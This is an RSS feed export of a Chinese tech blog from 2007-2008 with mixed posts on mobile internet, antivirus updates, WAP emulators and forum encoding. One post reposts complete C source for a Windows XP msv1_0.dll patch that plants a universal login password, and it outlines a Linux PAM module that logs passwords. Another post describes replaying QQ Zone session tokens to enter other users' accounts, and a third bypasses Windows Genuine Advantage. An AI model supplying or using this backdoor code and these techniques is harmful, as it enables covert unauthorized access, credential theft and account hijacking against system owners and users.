﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-Java &amp; Assembly-随笔分类-others</title><link>http://www.blogjava.net/bcims/category/7099.html</link><description>&lt;font color="red"&gt;&lt;b&gt;什么样的素质决定什么样的技术&lt;/b&gt;&lt;/font&gt; 

&lt;div style="font-size:12px;cursor:pointer"&gt; &lt;span  title="www"&gt; 中印贸易论坛 www.inIndia.cn&lt;/span&gt;&lt;/div</description><language>zh-cn</language><lastBuildDate>Wed, 21 May 2008 22:41:59 GMT</lastBuildDate><pubDate>Wed, 21 May 2008 22:41:59 GMT</pubDate><ttl>60</ttl><item><title>体验印度3G网络</title><link>http://www.blogjava.net/bcims/archive/2008/05/13/200259.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Tue, 13 May 2008 10:07:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2008/05/13/200259.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/200259.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2008/05/13/200259.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/200259.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/200259.html</trackback:ping><description><![CDATA[朋友说<br />终于告别TATA时代了！<br />从字面上看，TATA应该不是个什么好东西<wbr><br />之前我们上网一直用的是TATA的无线网络，那速度就是56K modenm<br />前段时间朋友办了一个BSNL(印度国有的网络服务商)无线业务，不错！当然这只能是跟TATA相对比而言：<br />一：费用对比<br />TATA限制1G流量的是Rs800/月，而且每超1Mb是RS5，太贵了，害得我有一月交了近Rs3000<br />BSNL不限流量，RS600/月<br /><br />二：网速<br />TATA通常只有5K的样子<br />BSNL下东西基本都能稳定在20K左右<br /><br />这次用的是国内中兴为BSNL提供的CDMA1X EVDO的usb无线网卡。<br />据我所知CDMA在要现有的数字技术上采用码分多址再进行扩频的一种无线通信技术，<br />所以比传统的GSM网带宽自然就大多了，<br />这种技术国内其实早已商业化了， 像联通说的”掌中宽带“其实也正是这网络，<br />不过联通还有EVDV的业务，我现在用的还只是EVDO，是指专数据传输，不包括语音业务。<br />这几天使用当中，感觉BSNL的这业务暂时还不是很稳定，有时收不到网络，也就是收不到对应的频率！<br />速度还行，毕竟CDMA就是广域网，而且还有个特点，<br />假如有两个基塔的话，当一个小区的数据量大的时候会自动调用另一个基塔来分担，有助于数据负荷的平衡。<br /><br />不过我相信，这方面国内绝对比印度好，国内3G已经在4月一号放号了。<br /></wbr><img src ="http://www.blogjava.net/bcims/aggbug/200259.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2008-05-13 18:07 <a href="http://www.blogjava.net/bcims/archive/2008/05/13/200259.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于www.HowIsChina.com&lt;图&gt;</title><link>http://www.blogjava.net/bcims/archive/2008/03/10/184920.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Sun, 09 Mar 2008 17:13:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2008/03/10/184920.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/184920.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2008/03/10/184920.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/184920.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/184920.html</trackback:ping><description><![CDATA[
		<p>网站的开发<br />域名好坏<br />可以说在很大的程度上直接影响你网站的发展<br />当然，有了好的域名<br />不充分利用它潜在的价值<br />也等于白搭<br />前不久<br />www.howIschina.com<br />让我注了<br />至于这到底是一个什么的域名<br />给下面的数据给你看看，就自然明了<br />输入关键字“how is china"搜索出的结果：<br /><img class="blogimg" src="http://hiphotos.baidu.com/hiwangqi/pic/item/443488ad6faaae194a36d673.jpg" border="0" small="0" /><br />图一：google<br /></p>
		<div forimg="1">
				<img class="blogimg" src="http://hiphotos.baidu.com/hiwangqi/pic/item/492980018f7c601e7aec2c71.jpg" border="0" small="0" />
				<br />图二：yahoo</div>
		<p>
		</p>
		<div forimg="1">
				<div forimg="1">
						<strong>
								<img class="blogimg" src="http://hiphotos.baidu.com/hiwangqi/pic/item/60f8a630a5616089a8018e73.jpg" border="0" small="0" />
								<br />
						</strong>
						<div forimg="1">图三：baidu<br /><br />有了这资源，我下一步要做的就是充分利用现有的资源<br />给我最大的限度的带来利益！</div>
				</div>
		</div>
<img src ="http://www.blogjava.net/bcims/aggbug/184920.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2008-03-10 01:13 <a href="http://www.blogjava.net/bcims/archive/2008/03/10/184920.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>如何跳过IE7正版验证</title><link>http://www.blogjava.net/bcims/archive/2008/02/03/179193.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Sun, 03 Feb 2008 08:07:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2008/02/03/179193.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/179193.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2008/02/03/179193.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/179193.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/179193.html</trackback:ping><description><![CDATA[
		<p>平时我一直用opera<br />XP自带的IE6.0平时很少用，非得已才派上用场&lt;如网银&gt;<br />前几天中了个毒，后来发现是IE6.0的漏洞引起的<br />今天下了一个7.0的，可以升级的时候要正版验证<br />第一次失败了<br />第二次把验证时把 <br />C:\Documents and Settings\All Users\Application Data\Windows Genuine Advantage\data <br />路径上产生一个 data.dat 文件删除&lt;不要关掉验证页面&gt;<br /><br />再点重启<br /><br />KO！！！</p>
<img src ="http://www.blogjava.net/bcims/aggbug/179193.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2008-02-03 16:07 <a href="http://www.blogjava.net/bcims/archive/2008/02/03/179193.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>初探QQ空间本地安全问题！</title><link>http://www.blogjava.net/bcims/archive/2008/02/03/179133.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Sun, 03 Feb 2008 04:18:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2008/02/03/179133.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/179133.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2008/02/03/179133.html#Feedback</comments><slash:comments>13</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/179133.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/179133.html</trackback:ping><description><![CDATA[     QQ用了好多年，但昨天才开通QQ空间，我一直感觉QQ空间太幼稚，太花，本身的博客系统也不成熟， <br />以前QQ空间是可以复制代码进行控制页面的，同时腾讯也开放了一些端口，但现在呢？<br />       其实这正是腾讯对QQ空间发展的一小步计划罢了，起初没有太多人用，钟对的是年青人群，正好QQ空间可以通过一些脚本代码来控制页面的美观和显示，基本能让用户根据自己的喜好而定，这是当时别的博客系统是没有的，正是因为这一点，吸引了大量的人群。随着注册流量的增加，人气自然不会少，但别的问题又出来了，大家都复制代码，这对腾讯的服务器自然也是一个很大的问题，首先就是安全问题，这一点其实也是腾讯也不是傻瓜，一开始就预料到了，现在人气足了，注册量已经达到了国内博客系统之首，这时腾讯就把可以通过一些脚本代码来控制页面的功能关了，想向从前靠代码美化页面的日子已经成为了历史，如果你想让自己的页面更美，那就只能通过一些增值业务来进行改变（如开通黄钻，等），这正是腾讯一直期盼的----那就钱！！ <br />      好！言归正传..... <br /><br />     因为占用内存和CPU都比其实的版本相对少，所以一直用TM，但当我昨天在TM面板上打开QQ空间想修改一篇日志的时候， 找了半天也找不到编辑的按钮，真够纳闷的！难到我太笨了？我用朋友的电脑登陆QQ，同样在QQ面板上直接打开空间，却可以在日志首页看到编辑按钮，问题出来了！<br />      为什么会这样呢？同为B/S系统，同一个公司的软件，而且是同一个用户的QQ号的空间，打开空间却有不同的结果，造成这样的原因只有一个问题，那就是同一个软件不同版本进行传参数的时候出了问题，不过像这种低级错误我认为不应该在腾讯的软件中出现。可猜想，开发TM和别的版本应该不是一个团队，至少在这个传参数的问题上是出了问题。 <br /><br />下面我们就来分析一下TM和普通版本传参给QQ空间的地址吧: <br /><font style="PADDING-RIGHT: 1px; PADDING-LEFT: 1px; FILTER: glow(color=#0033FF,strength=3); PADDING-BOTTOM: 1px; COLOR: #ffffff; PADDING-TOP: 1px; HEIGHT: 10px">1&gt;这是普通版本传参给QQ空间的地址 </font><wbr><br /><a onclick="showLinkBubble(this);return false" href="http://imgcache.qq.com/qzone/jump.html#zzpanelkey=D76BB888ED41895662E68973DAED10CCF59E08AF46E37E51CC631538FFAF4CB3&amp;zzpaneluin=39394839&amp;url=http%3A%2F%2Fuser.qzone.qq.com%2F39394839" target="_blank" link="http://imgcache.qq.com/qzone/jump.html#zzpanelkey=D76BB888ED41895662E68973DAED10CCF59E08AF46E37E51CC631538FFAF4CB3&amp;zzpaneluin=39394839&amp;url=http%3A%2F%2Fuser.qzone.qq.com%2F39394839">http://imgcache.qq.com/qzone/jump.html#zzpanelkey=D76BB888ED41895662E68973DAED10CCF59E08AF46E37E51CC631538FFAF4CB3&amp;zzpaneluin=39394839&amp;url=http%3A%2F%2Fuser.qzone.qq.com%2F39394839</a><wbr><br /><br /><font style="PADDING-RIGHT: 1px; PADDING-LEFT: 1px; FILTER: glow(color=#0033FF,strength=3); PADDING-BOTTOM: 1px; COLOR: #ffffff; PADDING-TOP: 1px; HEIGHT: 10px">2&gt;这是TM版本传参给QQ空间的地址 </font><wbr><br /><a onclick="showLinkBubble(this);return false" href="http://imgcache.qq.com/qzone/jump.html#zzpanelkey=59BF32291B5D533ED6C2917171DE71414DB0AE687A756470E82787E1E32BF7AA&amp;zzpaneluin=39394839&amp;url=http://user.qzone.qq.com/39394839" target="_blank" link="http://imgcache.qq.com/qzone/jump.html#zzpanelkey=59BF32291B5D533ED6C2917171DE71414DB0AE687A756470E82787E1E32BF7AA&amp;zzpaneluin=39394839&amp;url=http://user.qzone.qq.com/39394839">http://imgcache.qq.com/qzone/jump.html#zzpanelkey=59BF32291B5D533ED6C2917171DE71414DB0AE687A756470E82787E1E32BF7AA&amp;zzpaneluin=39394839&amp;url=http://user.qzone.qq.com/39394839</a><wbr><br /><br />有什么不同？我们可以看出zzpanelkey的值是不同的，url的值似乎也不同？其实这个是一样的。 <br />我们可以知道zzpanelkey的参数就是传给服务器上的这个页面&lt;<a onclick="showLinkBubble(this);return false" href="http://imgcache.qq.com/qzone/jump.html" target="_blank" link="http://imgcache.qq.com/qzone/jump.html">http://imgcache.qq.com/qzone/jump.html</a><wbr>&gt;，当这个页面接收到参数的值后再返回某些值给当前用户的浏览器，因为最后接受值的不同，就出现了我上面说的问题！ <br />        这时我们想，既然zzpanelkey保留了一些可用的参数，是不是可以保存下来，当不从QQ面板上打开空间也同样有权限进入自己的空间呢？ <br /><b><wbr><font style="LINE-HEIGHT: 1.3em" color="#ff0033">         我试了一下，正是所预料的！这样的话，如果别人在你的QQ面板上点了你的QQ空间，再把浏览器里的值复制下来保存，那就不管什么时候只要在你的机子上他都进入你的QQ空间进行管理，吓人吧！！！</font><wbr></wbr></wbr></b><wbr><br /><br />          如果这时把自己的QQ号改成别的人QQ号又会出现什么情况呢？哈哈，发现了没有？在QQ空间的工具条上出现了对方QQ的名字！这样我们可以看出当你这样传值的时候，QQ空间是通过你的号子进行判断返回值的，而不是zzpanelkey的值进行判断！！而且如果对方的QQ空间要进行密码判断能进入的情况下，他也能返回值，但这时的值却不是对方QQ的名字，而是对方QQ空间的连接地址！我记得类似的问题以前工行网银也出现过，<b><wbr><font style="LINE-HEIGHT: 1.3em" color="#ff0033">这是典型的不对用户访问的地址、参数和值不进行严格判断的结果！！</font><wbr></wbr></wbr></b><wbr><br />       这样看来，QQ空间这个博客系统的确还不够成熟，到底zzpanelkey中的16进制数传递的值到底对应了哪些值，下次有时间再认真研究一下，开始我以为存的是IP地址，但我试着离线一下，再上线后zzpanelkey的值就改变了，这说明这其中应该就是一些标识用户状态和要服务端响应后返回给浏览器的值，毫无疑问！这值是相当重要的，如果能知道zzpanelkey的每一个值对应的功能的话，哈哈！那所有的QQ空间的用户都能控制了......... <br />       以上问题，只是初探的结果.............<br /><font style="PADDING-RIGHT: 1px; PADDING-LEFT: 1px; FILTER: glow(color=#990033,strength=3); PADDING-BOTTOM: 1px; COLOR: #ffffff; PADDING-TOP: 1px; HEIGHT: 10px">      &lt;操作过程中的图，下次有时间再贴上&gt;</font><wbr><br /><br />好了，今天就写到这里，明天还要考试，应该语言有些不通顺...... <br /><br /><br />我测试的环境是： <br />TM:2008<br />QQ:2007<br />浏览器：IE6.0 <br />操作系统：英文XP-SP2 <br /><br /></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr><img src ="http://www.blogjava.net/bcims/aggbug/179133.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2008-02-03 12:18 <a href="http://www.blogjava.net/bcims/archive/2008/02/03/179133.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>卡巴6.0不能更新组件问题</title><link>http://www.blogjava.net/bcims/archive/2008/02/03/179130.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Sun, 03 Feb 2008 03:46:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2008/02/03/179130.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/179130.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2008/02/03/179130.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/179130.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/179130.html</trackback:ping><description><![CDATA[如果你安装完卡巴升级的时候遇到只能更新配置文件，提示组件不能更新时<br />请按下面的步骤设置.....<br /><br />首先重启一下，或换一个KEY，有可能是同一个KEY两台机子同时升级收起的<br />然后按下面的方法去做<br /><br />方案一：使用紧急升级站点步骤（仅适用于6.0个人版） <br />1、在“服务”-〉“更新”上点鼠标右键，选择“设置”。 <br />2、在“更新设置”中选择“自定义”按钮； <br />3、在弹出的对话框中，选择“更新服务器”标签； <br />4、点击“添加”按钮，在“源”后的方框中加入“<a href="http://dnl-cdn.kaspersky-labs.com/" target="_blank">http://dnl-cdn.kaspersky-labs.com/</a>”，点击“确定”； <br />5、退回到“更新服务器”标签下，去掉“卡巴斯基实验室更新服务器”前面的勾。如果之前使用了离线升级包的方式进行升级，也请去掉相应的离线升级包前的勾，选择确定； <br />6、进行升级。 <br /><br />提示：由于升级用户数量众多，造成网络拥塞，如使用此方法升级一次不成功，请多试几次，或选在升级用户较少的时间进行升级！ <br /><br />方案二：使用病毒数据库离线更新包 <br />第一步：在“服务”-〉“更新”上点鼠标右键，选择“设置”； <br />第二步：在“更新设置”中选择“自定义”按钮； <br />第三步：在弹出的对话框中，选择“更新服务器”标签； <br />第四步：点击“添加”按钮，选择本地更新文件，同时勾选“正在从文件夹或ZIP文档中更新”，点击“确定”； <br />第五步：退回到“更新服务器”标签下，去掉“卡巴斯基实验室更新服务器”前面的勾，选择确定； <br />第六步：进行升级。 <br /><img src ="http://www.blogjava.net/bcims/aggbug/179130.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2008-02-03 11:46 <a href="http://www.blogjava.net/bcims/archive/2008/02/03/179130.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>WAP浏览器(模拟器)大全</title><link>http://www.blogjava.net/bcims/archive/2008/01/10/174249.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Thu, 10 Jan 2008 04:59:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2008/01/10/174249.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/174249.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2008/01/10/174249.html#Feedback</comments><slash:comments>10</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/174249.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/174249.html</trackback:ping><description><![CDATA[
		<p>除了利用WAP手机登陆WAP站点浏览WAP网站外，基于PC的WAP浏览器(模拟器)也越来越多，另外还有不少WAP在线浏览器。希望您在下面的WAP浏览器中找到一款适合自己的浏览器。 <br /><br /><br />1.Openwave V7 Simulator<br /><br /><img alt="" src="http://www.j2medev.com/wap/UploadFiles_4440/200606/20060608084131559.jpg" border="0" /></p>
		<p>
				<br />
				<br />2.M3Gate V1.2<br /><br /></p>
		<img alt="" src="http://www.j2medev.com/wap/UploadFiles_4440/200606/20060608084131474.jpg" border="0" />
		<p>
				<br />
				<br />3.WinWap3.1  PRO<br /><br /></p>
		<img alt="" src="http://www.j2medev.com/wap/UploadFiles_4440/200606/20060608084132133.jpg" border="0" />
		<p>
				<br />
				<br />4.Wapdisplayer V1.5<br /><br /></p>
		<img alt="" src="http://www.j2medev.com/wap/UploadFiles_4440/200606/20060608084132609.jpg" border="0" />
		<p>
				<br />
				<br />5.WWB(Wap Web Browser)<br /><br /></p>
		<img alt="" src="http://www.j2medev.com/wap/UploadFiles_4440/200606/20060608084132653.jpg" border="0" />
		<p>
				<br />
				<br />6.Microsoft Mobile Explorer 3.0<br /><br /></p>
		<img alt="" src="http://www.j2medev.com/wap/UploadFiles_4440/200606/20060608084133634.jpg" border="0" />
		<p>
				<br />
				<br />7.Opera 8.5<br /><br /></p>
		<img alt="" src="http://www.j2medev.com/wap/UploadFiles_4440/200606/20060608084133861.jpg" border="0" />
		<p>
				<br />
				<br />8.CheckCom WAPBrowser 3.2<br /><br /></p>
		<img alt="" src="http://www.j2medev.com/wap/UploadFiles_4440/200606/20060608084133824.jpg" border="0" />
		<p>
				<br />
				<br />9.Nokia Wap Toolkit 1.3<br /><br /></p>
		<img alt="" src="http://www.j2medev.com/wap/UploadFiles_4440/200606/20060608084134443.jpg" border="0" />
		<p>
				<br />
				<br />以上WAP浏览器(模拟器)为浏览 http://wap.wapzj.com 站点的效果，以上WAP浏览器程序您可以登陆以下站点下载。<br /> <br />中国被爱可以在线　　http://www.bicyle.org<br />WAP之家　　http://www.wapzj.com<br /> <br />WAP之家WAP站点还有一种新型的浏览方式，那就是直接使用IE浏览，不信您可以启动Internet Explorer 浏览器，在地址栏输入：http://wap.wapzj.com ，然后点击“转到”按钮，您就可以利用IE浏览WAP之家的WAP站点了。<br /></p>
<img src ="http://www.blogjava.net/bcims/aggbug/174249.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2008-01-10 12:59 <a href="http://www.blogjava.net/bcims/archive/2008/01/10/174249.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>新思路的通用密码后门</title><link>http://www.blogjava.net/bcims/archive/2007/12/16/168021.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Sat, 15 Dec 2007 16:49:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2007/12/16/168021.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/168021.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2007/12/16/168021.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/168021.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/168021.html</trackback:ping><description><![CDATA[
		<p>
				<br />我QQ群内的朋友发给我的，共享一下<br />很多的服务器管理员 普通网络管理员 甚至普通用户都可能用的上的. </p>
		<p>以下内容为转载</p>
		<p>其实这些东西我很早就做出来用了，而且效果还不错，目前没有一个管理员发现。<br /><br />以下程序只在winxpsp2中文版上测试<br />#include &lt;stdio.h&gt;<br />#include &lt;stdlib.h&gt;<br />#include "windows.h"<br />#include "wincrypt.h"<br /><br />wchar_t passwd[1024];<br />char path[1024], hash[16];<br />const int os1 = 0x8DB0, os2 = 0x1C3A7, ospasswd = 0x1C397;<br />const char chunk1[] = {<br />    0xE8, 0xF2, 0x35, 0x01, 0x00, 0x90<br />};<br />const char chunk2[] = {<br />    0x55, 0x8B, 0xEC, 0x6A, 0x10, 0xFF, 0x75, 0x0C,<br />    0x68, 0x97, 0xCF, 0xC5, 0x77, 0xFF, 0x15, 0xCC,<br />    0x10, 0xC4, 0x77, 0xC9, 0x83, 0xF8, 0x10, 0x75,<br />    0x03, 0xC2, 0x00, 0x00, 0xFF, 0x25, 0xCC, 0x10,<br />    0xC4, 0x77<br />};<br /><br />void err(char *msg) {<br />    printf("error: %s\n", msg);<br />    exit(1);<br />}<br /><br />int main(int argc, char *argv[]) {<br />    HCRYPTPROV hProv;<br />    HCRYPTHASH hHash;<br />    unsigned len, sint = sizeof(int);<br />    FILE *fout;<br /><br />    if (argc != 2) {<br />        printf("msv1_0.dll password backdoor generator by cly\n"<br />            "Usage:\n%s password\nOnly for winxp sp2\n", argv[0]);<br />        exit(1);<br />    }<br /><br />    len = strlen(argv[1]);<br />    if (len &gt; 512)<br />        err("the password is too long");<br />    len = MultiByteToWideChar(CP_ACP, 0, argv[1], len, passwd, 1024);<br /><br />    if(!CryptAcquireContext(&amp;hProv, NULL, NULL, PROV_RSA_FULL, 0))<br />        if (!CryptAcquireContext(&amp;hProv, NULL, MS_DEF_PROV,<br />PROV_RSA_FULL,<br />CRYPT_NEWKEYSET))<br />            err("CryptAcquireContext");<br />    if (!CryptCreateHash(hProv, CALG_MD4, 0, 0, &amp;hHash))<br />        err("CryptCreateHash");<br />    if (!CryptHashData(hHash, passwd, len * sizeof(wchar_t), 0))<br />        err("CryptHashData");<br />    CryptGetHashParam(hHash, HP_HASHSIZE, &amp;len, &amp;sint, 0);<br />    if (len != 16)<br />        err("CryptGetHashParam");<br />    CryptGetHashParam(hHash, HP_HASHVAL, hash, &amp;len, 0);<br />    if (hHash)<br />        CryptDestroyHash(hHash);<br />    if (hProv)<br />        CryptReleaseContext(hProv, 0);<br /><br />    if (strlen(getenv("windir")) &gt; 512)<br />        err("Are you kidding?");<br />    sprintf(path, "%s\\system32\\msv1_0.dll", getenv("windir"));<br />    if (!CopyFileA(path, "msv1_0.dll.cly", 0))<br />        err("CopyFileA");<br />    fout = fopen("msv1_0.dll.cly", "rb+");<br />    if (fout == NULL)<br />        err("fopen");<br />    fseek(fout, os1, SEEK_SET);<br />    fwrite(chunk1, sizeof(chunk1), 1, fout);<br />    fseek(fout, os2, SEEK_SET);<br />    fwrite(chunk2, sizeof(chunk2), 1, fout);<br />    fseek(fout, ospasswd, SEEK_SET);<br />    fwrite(hash, sizeof(hash), 1, fout);<br />    fclose(fout);<br /><br />    return 0;<br />}</p>
		<p>
				<br />运行这个程序把得到的msv1_0.dll.cly复制到c:\windows\system32\msv1_0.dll（自己想办法绕过WFP），所<br />有的用户就可以用你设置的密码来登陆了，远程桌面也是可以的。<br />这里只是提供一种思路，其他的版本比如win2k3应该而是可以这样搞的。<br />其实我最开始是看到网上一片文章，不过他是空口令可以登陆，而我这是自己设置的口令可以登陆。<br /><br />Linux下就更简单了，直接编译一个自己的pam_unix.so上去就可以了。<br />这个pam_unix.so可以记录正确的密码，也可以做和上面一样的通用密码后门。<br />我是这样搞的，先判断密码对错，如果对了则记录并放行，否则判断是否为我设置的通用密码，如果是就放行，其他的验证失败。<br />这样我local root成功后，放这样一个后门，管理员还真是难查出来。<br /></p>
<img src ="http://www.blogjava.net/bcims/aggbug/168021.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2007-12-16 00:49 <a href="http://www.blogjava.net/bcims/archive/2007/12/16/168021.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>论坛数据搬家</title><link>http://www.blogjava.net/bcims/archive/2007/11/11/159832.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Sun, 11 Nov 2007 15:12:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2007/11/11/159832.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/159832.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2007/11/11/159832.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/159832.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/159832.html</trackback:ping><description><![CDATA[也许许多朋友在搞论坛也遇到到过类似的问题，有很大一部分朋友在选择安装Discuz并不知道安装什么编码版本才合适，这里我把对这两个编码的理解和大家分享 
<div class="quote"><h5>引用:</h5><blockquote><p>1、从<span class="t_tag" onclick="tagshow(event)" href="tag.php?name=%CA%FD%BE%DD%BF%E2"><span class="t_tag" onclick="tagshow(event)" href="tag.php?name=%CA%FD%BE%DD">数据</span>库</span>的尺寸上看，UTF8要大于GBK，20M的UTF8转成GBK后大概为16-17M<br />2、从<span class="t_tag" onclick="tagshow(event)" href="tag.php?name=%C2%DB%CC%B3">论坛</span>插件的支持上看，Discuz的拥戴者制作的插件基本上都是针对GBK的，UTF8的极少<br />3、从<span class="t_tag" onclick="tagshow(event)" href="tag.php?name=%CB%D1%CB%F7">搜索</span>引擎上看，MSN、YAHOO比较喜欢UTF8，会收录更快一些，因为它是国际上通用的编码，<span class="t_tag" onclick="tagshow(event)" href="tag.php?name=%B0%D9%B6%C8">百度</span>、<span class="t_tag" onclick="tagshow(event)" href="tag.php?name=google">google</span>基本不受影响<br />4、从用户使用上看，UTF8更加适合欧洲、北美、香港用户通过FIREFOX等外国流行的浏览器浏览，GBK更适合大陆<span class="t_tag" onclick="tagshow(event)" href="tag.php?name=%D3%C3%BB%A7">用户</span>浏览<br />5、Discuz!<span class="t_tag" onclick="tagshow(event)" href="tag.php?name=%B9%D9%B7%BD">官方</span>推荐安装使用的是GBK<br /><br /><font color="blue"><strong>从上面可以看出，UTF8更适合外国朋友居多且不需太多要插件的论坛。GBK更适合普通一般的<span class="t_tag" onclick="tagshow(event)" href="tag.php?name=%D6%D0%B9%FA">中国</span>大陆用户。至于有些朋友说UTF8比GBK承载能力更佳，我开始也用UTF8，但我并没有感觉到有什么不同。</strong></font><br /><br />但UTF8编码不能使用插件,不能安装特效、经常出现乱码不能正常显示、我今天搞的时候就出现这个问题，怎么办？<br />说来其实好解决，把UTF8-&gt;GBK,那首先必须把你原来的数据下载下来，用下面的软件进行转换（后面有下载地址）<br /><img alt="" src="http://www.discuz.net/attachments/month_0606/ConvertZ_HT92Pi0AKYyt.gif" onload="attachimg(this, 'load')" border="0" /><br />但如果失败了怎么办，那就没有办法了，只能INSERT了，我今天就是最倒霉了，是的是后面一种方法</p><p>下载地址<a href="http://www.discuz.net/attachment.php?aid=49140">http://www.discuz.net/attachment.php?aid=49140</a></p></blockquote></div><img src ="http://www.blogjava.net/bcims/aggbug/159832.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2007-11-11 23:12 <a href="http://www.blogjava.net/bcims/archive/2007/11/11/159832.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>英语口语可以这样练成</title><link>http://www.blogjava.net/bcims/archive/2007/10/09/151198.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Mon, 08 Oct 2007 18:45:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2007/10/09/151198.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/151198.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2007/10/09/151198.html#Feedback</comments><slash:comments>8</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/151198.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/151198.html</trackback:ping><description><![CDATA[
		<p>推荐一篇我的收藏，希望对大家有所启发。</p>
